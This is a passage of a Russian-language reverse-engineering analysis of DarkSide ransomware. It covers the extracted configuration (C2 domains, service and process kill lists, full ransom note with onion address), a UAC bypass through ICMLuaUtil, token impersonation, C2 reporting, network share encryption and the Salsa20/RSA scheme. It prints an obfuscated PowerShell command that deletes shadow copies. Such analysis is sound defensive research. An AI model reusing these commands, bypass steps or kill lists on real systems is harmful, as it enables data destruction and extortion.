"FILE_EXTENSION_TO_AVOID": "386, adv, ani, bat, bin, cab, cmd, com, cpl, cur, deskthemepack, diagcab, diagcfg, diagpkg, dll, drv, exe, hlp, icl, icns, ico, ics, idx, ldf, lnk, mod, mpa, msc, msp, msstyles, msu, nls, nomedia, ocx, prf, ps1, rom, rtp, scr, shs, spl, sys, theme, themepack, wpx, lock, key, hta, msi, pdb",
"DIR_TO_REMOVE": "backup",
"SQL_STRING": "sql, sqlite",
"PROCESS_TO_AVOID": "vmcompute.exe, vmms.exe, vmwp.exe, svchost.exe, TeamViewer.exe, explorer.exe",
"PROCESS_TO_KILL": "sql, oracle, ocssd, dbsnmp, synctime, agntsvc, isqlplussvc, xfssvccon, mydesktopservice, ocautoupds, encsvc, firefox, tbirdconfig, mydesktopqos, ocomm, dbeng50, sqbcoreservice, excel, infopath, msaccess, mspub, onenote, outlook, powerpnt, steam, thebat, thunderbird, visio, winword, wordpad, notepad",
"SERVICE_TO_KILL": "vss, sql, svc$, memtas, mepocs, sophos, veeam, backup, GxVss, GxBlr, GxFWD, GxCVD, GxCIMgr",
"C2_URL": "securebestapp20.com, temisleyes.com",
"THREAT_STRING": "All of your files are encrypted! \r\n \r\n Find %s and Follow Instructions!",
"RANSOM_NOTE": "----------- [ Welcome to DarkSide ] -------------> \r\n \r\n What happend? \r\n ---------------------------------------------- \r\n Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. \r\n But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. \r\n Follow our instructions below and you will recover all your data. \r\n \r\n What guarantees? \r\n ---------------------------------------------- \r\n We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. \r\n All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. \r\n We guarantee to decrypt one file for free. Go to the site and contact us. \r\n \r\n How to get access on website? \r\n ---------------------------------------------- \r\n Using a TOR browser: \r\n 1) Download and install TOR browser from this site: https://torproject.org/ \r\n 2) Open our website: http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT \r\n \r\n When you open our website, put the following data in the input form: \r\n Key: \r\n \r\n 0kZdK3HQhsAkUtvRl41QkOdpJvzcWnCrBjjgg5U4zfuWeTnZR5Ssjd3QLHpmbjxjo7uWzKbt8qPVuYN38TsDPI3bemd5I40ksemIzuI5OhIHZsi9cn3Wpd7OUT72FP9MyAUzR586yMsI2Ygri9in0Bf4EkG0pmBOLyRG1T788foGJQW1WxS1Qd2sMVvX0jKlbGG1zLp7g0u6buDCzSMyTjWjuVzJYufBBv7S2XvciEVvboiTNbZA4UUU6PttKERQSb018aILd6xO3ulk6fbEgZDO5tZSGn2zRevn5YXnHtg6vt1ToLe3izQOgYbs8Ja1fkfJBUYVux1ITyWBjpn0xPayKfwln8SqgMkbqiDyxEDEtFhqiffLcONMhi4TmW50loZIC6mWSaOjThWp6XSJUWPtY8Mkzs8Cs0qjPahx58iAEVIRGUVpLkMs7xPN7ydZ6wMWaOcRC1AD1JEUVTjLikXXyckgYaS6FnEv0UNEsv6QbTLSpDomIg3rEYZBib6ozrwH5n0M5wrKo8NciUBmfJWDP4XKkjznpsa05rEpuAklM0dMmZsYGVR \r\n \r\n !!! DANGER !!! \r\n DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. \r\n !!! DANGER !!!"
}
Повышение привилегий
После экспорта конфигурации вредоносная программа затем проверяет, есть ли у нее права администратора, вызывая IsUserAnAdmin. Если пользователь не является администратором, она выполняет проверку информации токена пользователя, чтобы убедиться, что у его токена первое значение субавторитета равно SECURITY_BUILTIN_DOMAIN_RID и второе значение субавторитета равно DOMAIN_ALIAS_RID_ADMINS.
Эта проверка необходима для следующего шага, когда Darkside выполняет повышение UAC, чтобы перезапустить себя с более высокими привилегиями. Это старый трюк с повышением прав для выполнения обхода UAC через COM-интерфейс ICMLuaUtil. У Microsoft есть отличная документация по этому поводу здесь.
Обход выполняется, только если UAC_ELEVATION_FLAG в конфигурации установлен в 1.
Эта функция выполняет CoGetObject с именем объекта Elevation:Administrator!New: {3E5FC7F9-9A51-4367-9063-A120244FBEC7}.
Проверив с помощью редактора реестра, мы видим, что этот CLSID принадлежит cmstplua.dll в system32, а CoGetObject получит интерфейс ICMLuaUtil с учетными данными администратора.
Используя этот интерфейс, Darkside вызывает функцию интерфейса ShellExec, чтобы снова запустить вредоносную программу с обновленными привилегиями.
Изменение привилегии токена
Если AdjustTokenPrivileges_FLAG установлен в 1 в конфигурации, Darkside получит токен текущего процесса через OpenProcessToken и изменит привилегию на SE_PRIVILEGE_ENABLED, чтобы активировать привилегию токена.
Импернасолизация контекста безопасности
Если возможно, Darkside пытается заставить свой процесс имитировать контекст безопасности вошедшего в систему пользователя.
Во-первых, он проверяет, есть ли у вошедшего в систему пользователя учетная запись с указанным доменным именем NT AUTHORITY, AUTORITE NT или NT-AUTORITE. Это делается путем вызова GetTokenInformation для получения SID пользователя, а затем LookupAccountSidW для поиска указанного доменного имени.
Если токен пользователя имеет NT AUTHORITY, Darkside затем извлекает токен пользователя, вызывая WTSGetActiveConsoleSessionId и WTSQueryUserToken.
Darkside хранит этот токен в памяти и вызывает ImpersonateLoggedOnUser при шифровании файла.
Контрольная сумма GUID
Darkside сначала имеет функцию для выполнения хеширования CRC32 и операций XOR. Эта функция использует 0xDEADBEEF в качестве первого значения CRC32 и выполняет операции XOR с большим двоичным объектом данных между ними.
Чтобы сгенерировать контрольную сумму жертвы с использованием ее GUID, Darkside выполняет 4 цикла этой функции на машины жертвы. Он также имеет функцию для преобразования окончательной контрольной суммы из байтов в форму шестнадцатеричной строки.
Журнал логов
Если LOGGING_FLAG в конфигурации установлен на 1, программа-вымогатель начнет регистрировать каждую операцию в файле журнала.
Сначала он генерирует имя файла журнала, форматируя контрольную сумму GUID в LOG% s.TXT.
Затем Darkside создает файл журнала в той же папке, что и исполняемый файл вредоносной программы, используя GetModuleFileNameW и CreateFileW.
Файл README о выкупе
Если для параметра RANSOM_NOTE_FLAG в конфигурации установлено значение 1, программа-вымогатель сгенерирует имя файла README. Этот файл с запиской о выкупе внутри будет помещен в каждый зашифрованный каталог.
Имя файла README генерируется путем форматирования контрольной суммы GUID в README% s.TXT.
Параметры командной строки
Darkside может принимать параметры командной строки -path и имя каталога. Это можно использовать для специального шифрования выбранного каталога с помощью обычного шифрования.
Если -path не указан, но вместо этого параметр представляет собой имя файла, вредоносная программа шифрует только этот конкретный файл.
В случае, когда путь к папке/файлу в параметре является ссылкой (.lnk), Darkside вызывает функцию, чтобы найти полный путь к папке/файлу по этой ссылке.
Эта функция использует CoCreateInstance с CLSID {00021401-0000-0000-C000-000000000046} для запроса интерфейса из windows.storage.dll.
Вероятно, он использует интерфейсы IStorageFolderHandleAccess и IStorageFileHandleAccess для извлечения полного пути из ссылки, но я не уверен в этом.
Я плохо разбираюсь в COM-объектах, поэтому, если кто-нибудь понимает, как это работает, свяжитесь со мной!
Одноразовый мьютекс
Если BUILD_MUTEX_FLAG в конфигурации установлен в 1, программа-вымогатель построит строку мьютекса для однократного выполнения. Вызывая OpenMutex на мьютексе, она может проверить, что в любой момент времени работает только один экземпляр Darkside.
Функция для создания этого мьютекса сначала извлекает текущий путь к файлу вредоносной программы и считывает содержимое файла в буфер кучи с помощью GetModuleFileNameW, CreateFileW, GetFileSize и ReadFile.
Затем вычисляется контрольная сумма файлового буфера путем прохождения одного цикла функции CRC32_checksum_generator.
Строка мьютекса расшифровывается с помощью decrypt_large_buffer и добавляется в строку Global\XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX. Затем все символы «X» в строке заменяются шестнадцатеричной строкой контрольной суммы файлового буфера.
Часть Global означает, что мьютекс виден во всех сеансах терминального сервера.
Шифрование одного файла/папки
Поскольку функция шифрования отдельного файла/папки используется только тогда, когда указаны параметры, она, скорее всего, предназначена только для целей тестирования. Следовательно, эта функция не слишком сложна.
Во-первых, она проверяет, установлен ли CHECK_RUSSIAN_COMP_FLAG в 1 в конфигурации. Если да, то она переходит к проверке, является ли язык компьютера жертвы русским, анализируя выходные данные GetUserDefaultLangID и GetSystemDefaultUILanguage.
Если язык компьютера русский, он немедленно закрывается. Я не думаю, что мне нужно вдаваться в подробности о том, почему здесь находится этот блок кода
I. Шифрование пуи UNC
Затем он проверяет, является ли путь к файлу путем к серверу UNC, вызывая PathIsUNCServerW. Если это так, вызывается функция шифрования UNC. В этой функции Darkside перечисляет все сети, совместно используемые с помощью NetShareEnum, строит для каждого действительный сетевой путь UNC и вызывает функцию main_encryption для их шифрования.
II. Шифрование нормального путь
Если путь не ведет к серверу UNC, Darkside построит действительный путь соответствующим образом, проверив, является ли путь сетевым путем, путем к смонтированному сетевому диску или просто обычным путем в системе.
Вот что входит в файл журнала, если LOGGING_FLAG равен 1.
Перед вызовом функции main_encryption для шифрования этого окончательного пути Darkside попытается вызвать ImpersonateLoggedOnUser (USER_TOKEN), если у него есть NT AUTHORITY для имперсонализации пользователя при выполнении шифрования файла.
Полное шифрование
Если параметры командной строки не указаны, Darkside выполнит полное шифрование на машине жертвы, что включает в себя множество других операций, таких как соединение с сервером C2, удаление теневых копий, завершение процессов и служб,…
Эта функция также имеет такой же блок кода для проверки русского языка на компьютере жертвы.
I. Подключение к C2 и отправка информации о жертвах
Если для параметра CONFIG_C2_URL_FLAG установлено значение 1 и в конфигурации указан URL-адрес C2, он отправит информацию об ОС жертвы на сервер C2.
Функция извлечения информации об ОС пользователя использует такие функции, как GetUserNameW, GetComputerNameW, MachinePreferredUILanguage, чтобы найти эту информацию.
После извлечения всего он запишет все данные в строковом формате в эту форму JSON.
JSON:
"os":{
"lang":"en-US",
"username":"cdong49",
"hostname":"DESKTOP-739L404",
"domain":"WORKGROUP",
"os_type":"windows",
"os_version":"Windows 10 Education N",
"os_arch":"x64",
"disks":"C:69/99",
"id":"c46289476b8ceea97117"
}
Затем он создаст строку-обертку, чтобы включить версию вредоносного ПО и UID жертвы с этой информацией об ОС.
Окончательная строка будет в такой форме JSON.
JSON:
{
"bot":{
"ver":"1.8.6.2",
"uid":"060108efb510c98"
},
"os":{
"lang":"en-US",
"username":"cdong49",
"hostname":"DESKTOP-739L404",
"domain":"WORKGROUP",
"os_type":"windows",
"os_version":"Windows 10 Education N",
"os_arch":"x64",
"disks":
"C:69/99",
"id":"c46289476b8ceea97117"
}
Эта строка будет хеширована функцией ручного хеширования. Опять же, я не стал разбираться в этом, потому что это всего лишь функция хеширования. Она нужна только для того, чтобы убедиться, что информация не отправляется в виде открытого текста.
Хешированная информационная строка и UID жертвы затем записываются в эту строку формата, которая позже используется в качестве содержимого сетевого пакета для отправки на C2.
random_num1=hash(information_string)&random_num2=victim_UID
На этом этапе Darkside использует InternetOpenW и InternetConnectW, чтобы открыть дескриптор Интернет-приложения Firefox/80.0 и подключиться к серверу C2 через порт 443.
После установления соединения Darkside отправляет запрос POST на C2 с помощью HttpOpenRequestW, расшифровывает заголовок HTTP, устанавливает параметры Интернета с помощью InternetSetOptionW и, наконец, отправляет пакет с созданным выше буфером содержимого.
Наконец, Darkside вызывает HttpQueryInfoW, чтобы запросить код состояния и проверить, успешно ли отправлен пакет.
II. Очистка корзины
Если WIPE_RECYCLE_BIN_FLAG в конфигурации установлен в 1 и текущий процесс запущен как ADMIN, Darkside попытается стереть все папки корзины, которые он может найти на дисках машины.
Во-первых, чтобы найти папку корзины на заданном пути к диску, функция итеративно вызывает FindFirstFileExW и FindNextFileW, чтобы найти папку, содержащую «* recycle *» в своем имени.
Найдя путь к корзине, Darkside перебирает каждый каталог внутри и вызывает рекурсивную функцию, чтобы полностью очистить ее.
Рекурсивная функция довольно проста. Она использует FindFirstFileExW и FindNextFileW для поиска файлов и папок внутри. Если она находит файл, он вызывает DeleteFileW для его удаления. Если она находит папку, она снова рекурсивно вызывает себя, чтобы удалить содержимое папки, и вызывает RemoveDirectoryW для его удаления.
III. Удаление теневых копий
Если DELETE_SHADOW_COPIES_FLAG в конфигурации установлен в 1, Darkside попытается удалить все теневые копии в системе. Есть две разные функции для решения этой задачи в зависимости от системной архитектуры машины.
Если машина является 64-битной машиной Windows, она расшифровывает команду CMD и выполняет ее с помощью CreateProcessW.
Ниже представлена расшифрованная команда CMD.
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
Эта команда выполняет 61 цикл, извлекает 2 символа за раз, преобразует их в байт и преобразует этот байт в символ ASCII.
Декодирование этой строки приведет к созданию этой команды Powershell, которая получает каждый объект Win32_Shadowcopy в системе и удаляет его.
Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}
Если машина представляет собой 32-битную машину с Windows, все обстоит немного лучше.
Darkside вызовет CoInitializeEx, CoInitializeSecurity и CoCreateInstance для создания единого объекта класса IWbemLocator с указанным CLSID {4590F811-1D3A-11D0-891F-00AA004B2E24} для запроса из wbemprox.dll.
Используя объект IWbemLocator, Darkside вызывает функцию ConnectServer для подключения к локальному пространству имен «root/cimv2» и получает указатель на объект IWbemServices.
С помощью этого объекта IWbemServices Darkside выполняет SQL-запрос SELECT * FROM Win32_ShadowCopy для получения перечислителя всех теневых копий на локальном сервере.
Затем Darkside перебирает каждый из объектов теневой копии, получает его идентификатор и вызывает функцию объекта DeleteInstance, чтобы удалить себя.
В конечном итоге это приведет к удалению всех областей хранения теневых копий на компьютере.
IV. Убийство целевых сервисов
Если SERVICE_TO_KILL_FLAG в конфигурации установлен в 1, Darkside пройдёт через все службы на машине и уничтожит любую службу, которая находится в списке SERVICE_TO_KILL конфигурации.
Это делается путем вызова OpenSCManagerW для открытия диспетчера управления службами и EnumServicesStatusExW для перечисления всех служб со статусом SERVICE_WIN32.
Darkside итеративно просматривает эти службы и проверяет, существует ли каждая в списке SERVICE_TO_KILL. Если это так, то служба останавливается и удаляется с помощью вызовов ControlService и DeleteService.
IV. Убийство целевых процессов
Если PROCESS_TO_KILL_FLAG в конфигурации установлен в 1, Darkside пройдёт через все процессы на машине и завершит любой процесс, который находится в списке PROCESS_TO_KILL конфигурации.
Это делается путем вызова NtQuerySystemInformation для запроса массива структур SYSTEM_PROCESS_INFORMATION, каждая из которых содержит имя процесса.
Darkside итеративно перебирает эти процессы и проверяет, существует ли каждый из них в PROCESS_TO_KILL. Если это так, то процесс завершается с помощью TerminateProcess.
V. Шифрование всех локальных дисков
Если ENCRYPT_ALL_DRIVES_FLAG в конфигурации установлен в 1, Darkside будет проходить цикл через все диски с типом диска DRIVE_FIXED, DRIVE_REMOVABLE или DRIVE_REMOTE в системе. Затем он создает соответствующий путь к папке для каждого диска и вызывает main_encryption.
VI. Шифрование общих папок
Если ENCRYPT_NET_SHARED_RESOURCE_FLAG в конфигурации установлен в 1, Darkside попытается получить все пути к общим папкам в сети и зашифровать их с помощью main_encryption.
Во-первых, он вызывает функцию для извлечения всех адресов сетевых узлов с двумя подфункциями.
Первая подфункция вызывает GetAdaptersInfo и inet_addr для извлечения адресов других хостов в сети. Затем он вызывает вторую подфункцию и предоставляет эти адреса в качестве параметра.
Вторая подфункция запускает потоки с помощью CreateThread для вызова SendARP и gethostbyaddr для поиска имен других хостов в сети по их адресам.
После нахождения всех имен хостов и помещения их в глобальный массив Darkside вызывает NetShareEnum для перечисления всех сетевых общих папок, строит соответствующие сетевые пути и вызывает main_encryption для их шифрования.
VII. Отправка статистики шифрования сервера C2
После завершения шифрования и если CONFIG_C2_URL_FLAG установлен в 1 в конфигурации, Darkside отправит серверу C2 окончательную статистику шифрования.
Сначала он расшифровывает строку формата для этого пакета и начинает записывать идентификатор жертвы, UID, количество зашифрованных файлов, размер шифрования, количество пропущенных файлов и прошедшее время в эту строку формата.
Затем он использует эту отформатированную строку в качестве буфера для вызова описанной здесь функции.
Основное шифрование
Наконец-то мы подошли к самой пикантной части программы-вымогателя - основной функции шифрования! Это довольно сложная функция, поэтому я снова разделю свой анализ на части.
I. Начальные операции
Перед началом шифрования вредоносная программа проверяет, есть ли в системе минимум 0x6400000 байт или 100 МБ свободного места. Это пространство необходимо для размещения записки о выкупе в каждом каталоге, а также потому, что шифрование также увеличивает каждый файл на установленное количество байт.
Если CONFIG_C2_URL_FLAG в конфигурации установлен в 1, Darkside также начинает записывать время начала шифрования, вызывая GetTickCount.
II. Создание рабочих потоков
Darkside использует многопоточность с портом завершения ввода-вывода для связи между основным потоком и рабочими потоками и ускорения шифрования. Потенциально это может быть действительно хорошо, но, к сожалению, есть один недостаток дизайна, который замедляет весь процесс.
Во-первых, Darkside создает 2 порта завершения ввода-вывода, вызывая CreateIoCompletionPort, которые используются основным потоком для отправки данных файла для шифрования рабочим потокам.
Затем он порождает заданное количество потоков в зависимости от количества процессоров в системе. Он будет порождать 2 потока для каждого подсчета процессоров, но это максимальное количество потоков составляет 64, даже если процессоров больше 32.
Лучше всего иметь один поток на процессор, но поскольку многопоточность Darkside не максимизирует вычислительную мощность системы, это не имеет большого значения.
Каждый из этих потоков добавляется в глобальный массив потоков, чтобы сделать очистку более организованной, путем вызова WaitForMultipleObjects с массивом в качестве параметра.
III. Рекурсивный обход каталогов
Единственная ошибка этого вымогателя заключается в том, что его основной поток использует алгоритм поиска в глубину рекурсивного обхода, что значительно снижает скорость шифрования, несмотря на хорошую настройку многопоточности.
Во-первых, в рекурсивной функции основной поток вызывает SetEntriesInAclW и SetNamedSecurityInfoW для доступа/аудита информации управления и безопасности обрабатываемого каталога. Ниже приведена жестко запрограммированная структура EXPLICIT_ACCESS_W с новой информацией о безопасности и доступе.
Затем, если RANSOM_NOTE_FLAG в конфигурации установлен на 1, Darkside поместит записку о выкупе в обработанный каталог, используя эту функцию.
После этого идут проверки файлов/каталогов. Во-первых, чтобы начать вызов FindFirstFileExW в текущем каталоге, он должен добавить символы «\\ *» в конец имени каталога. По мере того как он просматривает папку в поисках подкаталогов и файлов с помощью FindNextFileW, он сначала проверяет, чтобы избежать двух имен каталогов «.» и «.. », которые ссылаются на текущий каталог и родительский каталог. Эти два каталога могут привести к тому, что программа войдет в бесконечную рекурсию, если вредоносная программа не избежит их.
Он также проверяет атрибут файла, чтобы избежать подкаталогов/файлов с атрибутом FILE_ATTRIBUTE_ENCRYPTED.
После этих проверок, если текущий путь указывает на каталог и DIRECTORY_TO_AVOID_FLAG установлен в 1, то выполняется еще одна проверка, чтобы убедиться, что имя подпапки отсутствует в списке DIRECTORY_TO_AVOID.
После завершения всех проверок путь к его подкаталогу передается в качестве параметра рекурсивной функции.
Рекурсивная функция вызывается при обнаружении папки для обхода всех ее подпапок.
Если текущий путь указывает на файл, Darkside проверяет следующее:
- Если имя файла не является файлом README.
- Если его расширение не .TXT.
- Если его содержимое не является запиской о выкупе (путем сравнения хэшей файлов CRC32).
- Если FILE_TO_AVOID_FLAG равен 1 и имя файла отсутствует в CONFIG_FILE_TO_AVOID.
- Если FILE_EXTENSION_TO_AVOID_FLAG равен 1, а расширение файла отсутствует в FILE_EXTENSION_TO_AVOID.
Если все это правда, Darkside продолжит обработку файла.
Если SQL_SQL_LITE_FLAG равен 1, а имя файла находится в SQL_STRING, он устанавливает ENCRYPTION_MODE на полное шифрование.
После проверки файла основной поток Darkside начинает обработку и отправляет данные файла рабочим потокам.
IV. Проверка, зашифрован ли файл
Во-первых, путь к файлу правильно фиксируется, и вызывается подфункция, чтобы проверить, был ли файл зашифрован или нет. Эта проверка выполняется путем считывания последних байтов 0x90 в буфер кучи и генерации контрольной суммы для первых байтов 0x80 с помощью CRC32_checksum_generator. Эта контрольная сумма сравнивается с последними 0x10 байтами буфера, и если они совпадают, это означает, что файл зашифрован.
Это также дает нам подсказку, что после шифрования к концу каждого файла добавляется большой двоичный объект с зашифрованной матрицей Salsa в качестве первых 0x80 байтов и контрольной суммы ключа в качестве последних 0x10 байтов.
V. Завершить процесс, использующий файл
Если PROCESS_TO_AVOID_FLAG установлен в 1 в конфигурации, Darkside вызывает функцию, чтобы найти и закрыть другой процесс, который в настоящее время использует файл.
Эта функция имеет цикл while для непрерывной проверки всех процессов, вызывая OpenProcess для получения дескриптора процесса, порождает поток для вызова NtQueryInformationFile, чтобы получить файл, принадлежащий этому процессу, и сравнивает это имя файла с именем файла, подлежащего шифрованию.
Если этот процесс обращается к файлу, подлежащему шифрованию, Darkside будет итеративно проверять, чтобы убедиться, что процесс не находится в списке PROCESS_TO_AVOID, и завершит его после завершения проверки.
VI. Создание зашифрованное имя файла
Имя файла копируется в новый буфер, а контрольная сумма GUID добавляется в конец имени файла. Этот буфер позже используется в качестве зашифрованного имени файла, поэтому Darkside снова пытается завершить любой процесс, использующий этот файл.
VII. Отправка файловых данных в рабочие потоки
Darkside делает 2 вызова CreateIoCompletionPort для создания портов завершения ввода-вывода, связанных с дескриптором зашифрованного файла.
Затем он создает буфер для добавления необходимых данных для отправки рабочим потокам с использованием этих портов завершения ввода-вывода.
Важные данные включают информацию, связанную с файлом, такую как ENCRYPTION_MODE, дескриптор файла и размер файла.
Буфер также включает в себя матрицу Salsa20, ее зашифрованную версию RSA-1024 и контрольную сумму зашифрованного ключа.
Когда этот буфер ввода-вывода готов, он отправляется рабочим потокам с помощью вызовов PostQueuedCompletionStatus.
VIII. Salsa20 и генерация матрицы
Darkside делает несколько вызовов RtlRandomEx для создания 64-байтового буфера.
Причина, по которой этот буфер не является ключом Salsa20, заключается в том, что он слишком длинный (обычно ключ Salsa20 имеет длину не более 32 байтов) и потому, что Darkside фактически изменяет свою реализацию Salsa20, чтобы не использовать какой-либо ключ.
Обычно для генерации этой матрицы начального состояния Salsa20 требуется пара ключей-одноразовых ключей.
Однако Darkside полностью пропускает этот шаг и использует случайно сгенерированный буфер в качестве своей матрицы Salsa20.
Это не влияет на результат шифрования Salsa20, поскольку в конечном итоге это XOR-шифр. Чтобы расшифровать файл, им просто нужно иметь доступ к этому случайному буферу и использовать его в качестве матрицы Salsa20.
IX. Шифрование RSA-1024
Специальная реализация RSA-1024 Darkside используется для шифрования матрицы Salsa20 перед добавлением ее в конец зашифрованного файла.
Открытый ключ RSA-1024 встроен в зашифрованные конфигурации Darkside и разделен на две части.
Первая - это показатель степени RSA-1024 с прямым порядком байтов, и я не знаю почему. Поскольку автор вручную написал эту реализацию RSA-1024, я думаю, это облегчит им задачу?
Вторая - это модуль RSA-1024.